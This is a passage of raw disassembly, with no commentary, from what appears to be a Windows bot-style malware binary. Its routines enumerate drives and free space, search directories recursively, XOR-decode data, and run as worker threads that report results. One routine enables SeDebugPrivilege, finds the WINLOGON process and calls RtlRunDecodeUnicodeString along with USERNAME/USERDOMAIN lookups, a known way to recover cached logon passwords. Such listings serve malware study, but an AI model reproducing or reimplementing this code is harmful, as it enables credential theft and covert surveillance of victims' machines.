		lea	eax, [ebp+Filename]
		push	eax
		push	offset unk_44FA78
		jmp	short loc_417432
; ---------------------------------------------------------------------------

loc_417426:				; CODE XREF: sub_416F9A+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset asc_44FAAC ; "-"

loc_417432:				; CODE XREF: sub_416F9A+48Aj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_417466
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_417466:				; CODE XREF: sub_416F9A+4AAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		pop	ecx

loc_417473:				; CODE XREF: sub_416F9A+29Cj
					; sub_416F9A+325j ...
		push	[ebp+var_18]
		call	dword_4E4254	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
sub_416F9A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41748C	proc near		; CODE XREF: sub_416F9A+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_4174A8

loc_417498:				; CODE XREF: sub_41748C+1Aj
		mov	dl, byte_440090
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_417498

locret_4174A8:				; CODE XREF: sub_41748C+Aj
		retn
sub_41748C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174A9	proc near		; CODE XREF: sub_401CC7+5991p
					; sub_401CC7+5AC6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_422240
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_4174A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174C3	proc near		; CODE XREF: sub_410423+458p
					; sub_410423+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h		; Size
		mov	edi, offset dword_4EBF04
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_4174E8:				; CODE XREF: sub_4174C3+5Bj
					; sub_4174C3+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	__aullrem
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	__aulldiv
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_417526
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4174E8
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4174E8
; ---------------------------------------------------------------------------

loc_417526:				; CODE XREF: sub_4174C3+4Bj
		dec	esi
		mov	eax, edi

loc_417529:				; CODE XREF: sub_4174C3+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_417538
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_417529
; ---------------------------------------------------------------------------

loc_417538:				; CODE XREF: sub_4174C3+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4174C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_417542	proc near		; CODE XREF: sub_417703+51p
					; sub_417703+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4E4280	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_417585
		dec	eax
		jz	short loc_41757F
		dec	eax
		dec	eax
		jz	short loc_417579
		dec	eax
		jz	short loc_417573
		dec	eax
		jz	short loc_41756D
		dec	eax
		jz	short loc_417567
		mov	eax, offset dword_44FB04
		retn
; ---------------------------------------------------------------------------

loc_417567:				; CODE XREF: sub_417542+1Dj
		mov	eax, offset off_44FB00
		retn
; ---------------------------------------------------------------------------

loc_41756D:				; CODE XREF: sub_417542+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_417573:				; CODE XREF: sub_417542+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_417579:				; CODE XREF: sub_417542+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_41757F:				; CODE XREF: sub_417542+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_417585:				; CODE XREF: sub_417542+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_417542	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41758B	proc near		; CODE XREF: sub_4175D3+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4E4110
		test	eax, eax
		jz	short loc_4175C0
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA

loc_4175C0:				; CODE XREF: sub_41758B+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41758B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175D3	proc near		; CODE XREF: sub_417703+17p
					; sub_41B964+1F3p

Dest		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41758B
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4176B6
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4176B6
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4176B6
		mov	edi, 400h
		push	0
		push	edi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	__alldiv
		push	edx
		push	eax
		call	sub_4174C3
		pop	ecx
		mov	esi, 80h
		pop	ecx
		push	eax
		push	offset aSkb	; "%sKB"
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		push	0
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	__alldiv
		push	edx
		push	eax
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		push	offset aSkb_0	; "%sKB"
		lea	eax, [ebp+var_118]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		push	0
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	__alldiv
		push	edx
		push	eax
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		push	offset aSkb_1	; "%sKB"
		lea	eax, [ebp+var_98]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	short loc_4176EF
; ---------------------------------------------------------------------------

loc_4176B6:				; CODE XREF: sub_4175D3+2Cj
					; sub_4175D3+3Bj ...
		lea	eax, [ebp+Dest]
		push	offset aFailed	; "failed"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	offset aFailed_0 ; "failed"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	offset aFailed_1 ; "failed"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4176EF:				; CODE XREF: sub_4175D3+E1j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+Dest]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4175D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417703(int,char *Str,int,int)

sub_417703	proc near		; CODE XREF: sub_4177D5+17p
					; sub_4177D5+60p

Dest		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
Str1		= byte ptr -80h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_4175D3
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+Str1]
		push	offset aFailed_2 ; "failed"
		rep movsd
		push	eax		; Str1
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417776
		push	ebx
		push	ebx
		call	sub_417542
		pop	ecx
		push	eax
		push	offset asc_44FB40 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_4177AA
; ---------------------------------------------------------------------------

loc_417776:				; CODE XREF: sub_417703+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	ebx
		push	ebx
		call	sub_417542
		pop	ecx
		push	eax
		push	offset asc_44FB7C ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h

loc_4177AA:				; CODE XREF: sub_417703+71j
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4177D5(int,char *Str,int,int)

sub_4177D5	proc near		; CODE XREF: sub_401CC7+2548p

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_4177F6
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_417703
		add	esp, 10h
		jmp	short loc_417857
; ---------------------------------------------------------------------------

loc_4177F6:				; CODE XREF: sub_4177D5+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4E4188	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi		; Size
		call	_malloc
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4E4188	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_41784E

loc_41781A:				; CODE XREF: sub_4177D5+77j
		push	offset aA_1	; "A:\\"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41783D
		push	esi		; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_417703
		add	esp, 10h

loc_41783D:				; CODE XREF: sub_4177D5+54j
		push	esi		; Str
		call	_strlen
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_41781A

loc_41784E:				; CODE XREF: sub_4177D5+43j
		push	edi		; Memory
		call	_free
		pop	ecx
		pop	edi
		pop	esi

loc_417857:				; CODE XREF: sub_4177D5+1Fj
		pop	ebx
		pop	ebp
		retn
sub_4177D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41785A	proc near		; DATA XREF: sub_401CC7+69F1o

Dest		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= dword	ptr -218h
var_115		= byte ptr -115h
Str		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4178AF
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_4178AF:				; CODE XREF: sub_41785A+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset asc_44FBBC ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4178F4
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4178F4:				; CODE XREF: sub_41785A+78j
		lea	eax, [ebp+Str]
		push	ebx		; int
		push	eax		; int
		lea	eax, [ebp+var_218]
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_417975
		add	esp, 18h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44FBE4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_417955
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_409D6C
		add	esp, 14h

loc_417955:				; CODE XREF: sub_41785A+D9j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41785A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417975(int,char *Str,int,int,int,int)

sub_417975	proc near		; CODE XREF: sub_41785A+B9p
					; sub_417975+9Cp

var_548		= dword	ptr -548h
var_348		= dword	ptr -348h
Dest		= byte ptr -244h
var_140		= byte ptr -140h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 548h
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+Dest]
		push	offset aS_29	; "%s\\*"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	edi, ds:dword_4F6424
		add	esp, 10h
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi	; FindFirstFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417A2E

loc_4179BB:				; CODE XREF: sub_417975+B7j
		test	[ebp+var_140], 10h
		jz	short loc_417A1C
		cmp	[ebp+var_114], 2Eh
		jnz	short loc_4179DF
		cmp	[ebp+var_113], 0
		jz	short loc_417A1C
		cmp	[ebp+var_113], 2Eh
		jz	short loc_417A1C

loc_4179DF:				; CODE XREF: sub_417975+56j
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_348]
		push	[ebp+arg_10]
		push	offset aSS_9	; "%s\\%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+arg_14]	; int
		lea	eax, [ebp+var_348]
		push	eax		; int
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_417975
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_417A1C:				; CODE XREF: sub_417975+4Dj
					; sub_417975+5Fj ...
		lea	eax, [ebp+var_140]
		push	eax
		push	ebx
		call	ds:dword_4F6420	; FindNextFileA
		test	eax, eax
		jnz	short loc_4179BB

loc_417A2E:				; CODE XREF: sub_417975+44j
		push	ebx
		mov	ebx, ds:dword_4F6414
		call	ebx	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSS_10	; "%s\\%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417AB8

loc_417A69:				; CODE XREF: sub_417975+141j
		lea	eax, [ebp+var_114]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_548]
		push	[ebp+arg_10]
		push	offset asc_44FC1C ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+var_548]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 28h
		lea	eax, [ebp+var_140]
		push	eax
		push	esi
		call	ds:dword_4F6420	; FindNextFileA
		test	eax, eax
		jnz	short loc_417A69

loc_417AB8:				; CODE XREF: sub_417975+F2j
		push	esi
		call	ebx	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417975	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AC3	proc near		; DATA XREF: sub_401CC7+1C8Co

Dest		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41B810
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417B02
		cmp	eax, 2
		jz	short loc_417B02
		push	offset unk_44FE1C
		jmp	loc_417C41
; ---------------------------------------------------------------------------

loc_417B02:				; CODE XREF: sub_417AC3+2Ej
					; sub_417AC3+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41A556
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417C3C
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:dword_4F63C0	; LoadLibraryA
		mov	esi, ds:dword_4F63C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4ED148, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4ED13C, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4ED34C, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4ED144, eax
		call	esi	; GetProcAddress
		mov	dword_4ED140, eax
		call	sub_417C95
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417C0F
		mov	esi, ds:dword_4F6444
		mov	edi, 400h
		mov	ebx, offset word_4EC13C
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset word_4EC93C
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4ED354
		push	[ebp+arg_0]
		jnz	short loc_417BBB
		call	sub_417E1E
		jmp	short loc_417BC0
; ---------------------------------------------------------------------------

loc_417BBB:				; CODE XREF: sub_417AC3+EFj
		call	sub_417FC5

loc_417BC0:				; CODE XREF: sub_417AC3+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417C08
		cmp	dword_4ED354, 0
		jnz	short loc_417BEF
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset asc_44FD14 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		jmp	short loc_417C22
; ---------------------------------------------------------------------------

loc_417BEF:				; CODE XREF: sub_417AC3+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417BFF
		call	sub_4180FB
		jmp	short loc_417C04
; ---------------------------------------------------------------------------

loc_417BFF:				; CODE XREF: sub_417AC3+133j
		call	sub_418192

loc_417C04:				; CODE XREF: sub_417AC3+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417C14
; ---------------------------------------------------------------------------

loc_417C08:				; CODE XREF: sub_417AC3+101j
		push	offset unk_44FD70
		jmp	short loc_417C14
; ---------------------------------------------------------------------------

loc_417C0F:				; CODE XREF: sub_417AC3+B6j
		push	offset asc_44FDA8 ; "-"

loc_417C14:				; CODE XREF: sub_417AC3+143j
					; sub_417AC3+14Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_417C22:				; CODE XREF: sub_417AC3+12Aj
		push	0
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		call	sub_41A556
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	ds:dword_4F6440	; FreeLibrary
		pop	ebx
		jmp	short loc_417C4F
; ---------------------------------------------------------------------------

loc_417C3C:				; CODE XREF: sub_417AC3+4Ej
		push	offset asc_44FDE8 ; "-"

loc_417C41:				; CODE XREF: sub_417AC3+3Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_417C4F:				; CODE XREF: sub_417AC3+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417C76
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_9C]	; int
		call	sub_409D6C
		add	esp, 14h

loc_417C76:				; CODE XREF: sub_417AC3+191j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_18]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_417AC3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417C95	proc near		; CODE XREF: sub_417AC3+ACp

String		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4F6450
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_4F644C
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4ED148
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4ED148
		test	eax, eax
		jnz	short loc_417D82
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417D82
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+String], ecx
		jb	short loc_417D82

loc_417D1E:				; CODE XREF: sub_417C95+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417D75
		push	0
		push	0
		call	dword_4ED13C
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4ED34C
		test	eax, eax
		jnz	short loc_417D66
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax		; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417D9A

loc_417D66:				; CODE XREF: sub_417C95+AAj
		test	edi, edi
		jz	short loc_417D71
		push	edi
		call	dword_4ED144

loc_417D71:				; CODE XREF: sub_417C95+D3j
		mov	eax, [esp+28h+var_10]

loc_417D75:				; CODE XREF: sub_417C95+8Ej
		add	ebx, 10h
		inc	[esp+28h+String]
		cmp	[esp+28h+String], eax
		jbe	short loc_417D1E

loc_417D82:				; CODE XREF: sub_417C95+6Dj
					; sub_417C95+7Aj ...
		xor	edi, edi

loc_417D84:				; CODE XREF: sub_417C95+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap
		mov	eax, edi

loc_417D92:				; CODE XREF: sub_417C95+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_417D9A:				; CODE XREF: sub_417C95+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417E03
		lea	eax, [edi+80h]
		mov	[esp+28h+String], eax

loc_417DB0:				; CODE XREF: sub_417C95+16Cj
		add	[esp+28h+String], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417E17
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417DF5
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_417DF5:				; CODE XREF: sub_417C95+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417DB0

loc_417E03:				; CODE XREF: sub_417C95+10Fj
		test	edi, edi
		jz	short loc_417E0E
		push	edi
		call	dword_4ED144

loc_417E0E:				; CODE XREF: sub_417C95+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417D84
; ---------------------------------------------------------------------------

loc_417E17:				; CODE XREF: sub_417C95+13Cj
		xor	eax, eax
		jmp	loc_417D92
sub_417C95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E1E	proc near		; CODE XREF: sub_417AC3+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
